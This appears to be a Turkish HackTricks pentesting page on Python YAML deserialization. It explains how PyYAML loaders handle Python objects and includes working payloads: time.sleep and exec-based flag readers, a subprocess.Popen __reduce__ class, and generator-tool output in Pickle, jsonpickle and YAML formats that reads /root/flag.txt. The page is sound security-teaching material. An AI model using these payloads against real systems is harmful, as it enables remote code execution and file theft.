hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

7.9 KiB
Raw Blame History

Python Yaml Serileştirme

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Yaml Serileştirme

Yaml python kütüphaneleri sadece ham verileri değil aynı zamanda python nesnelerini serileştirmek için de yeteneklidir:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Demet'in ham veri türü olmadığını ve bu nedenle serileştirilmiş olduğunu kontrol edin. Ve aynı şey range ile de oldu (builtins'ten alındı).

safe_load() veya safe_load_all(), SafeLoader'ı kullanır ve sınıf nesnesi deserializasyonunu desteklemez. Sınıf nesnesi deserializasyonu örneği:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Önceki kod, serileştirilmiş python sınıfını yüklemek için unsafe_load kullandı. Bu, sürüm >= 5.1'de, Loader belirtilmeyen veya Loader=SafeLoader olarak belirtilmeyen herhangi bir serileştirilmiş python sınıfını veya sınıf özelliğini deserialize etmeyi engellediği için yapıldı.

Temel Sızma

Uyku işlemini nasıl yürüteceğine dair bir örnek:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Loader Belirtilmeden .load("<içerik>") ile Güvenlik Açığı

Eski sürümlerinde pyyaml, bir şey yüklerken Loader belirtmediyseniz deserializasyon saldırılarına karşı savunmasızdı: yaml.load(data)

Bu güvenlik açığının ıklamasını burada bulabilirsiniz. Söz konusu sayfadaki önerilen saldırı ise:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ya da bu @ishaack tarafından sağlanan tek satırlık kodu kullanabilirsiniz:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Son sürümlerde artık .load() çagrısı yapamazsınız ve Loader olmadan FullLoader bu saldırıya artık duyarlı değil.

Uzaktan Kod Çalıştırma (RCE)

Özel yükler, PyYAML veya ruamel.yaml gibi Python YAML modülleri kullanılarak oluşturulabilir. Bu yükler, güvensiz girdileri doğru şekilde temizlemeden ayrıştıran sistemlerdeki zafiyetleri sömürebilir.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Yük Oluşturmak için Araç

Araç https://github.com/j0lt-github/python-deserialization-attack-payload-generator Python deserializasyon saldırı yüklerini oluşturmak için kullanılabilir. Pickle, PyYAML, jsonpickle ve ruamel.yaml'ı kötüye kullanmak için kullanılabilir.

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referanslar

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: